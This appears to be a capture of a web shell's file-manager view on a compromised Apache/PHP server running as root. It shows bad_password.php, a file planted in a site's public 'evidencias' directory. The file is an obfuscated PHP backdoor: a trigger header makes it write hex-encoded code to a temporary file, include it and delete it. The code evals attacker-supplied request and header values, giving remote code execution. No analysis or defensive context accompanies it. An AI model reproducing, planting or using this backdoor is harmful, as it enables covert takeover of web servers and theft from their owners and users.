HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/xfacil.desafio.com.py/public/evidencias/bad_password.php
<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['Large-Allocation'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}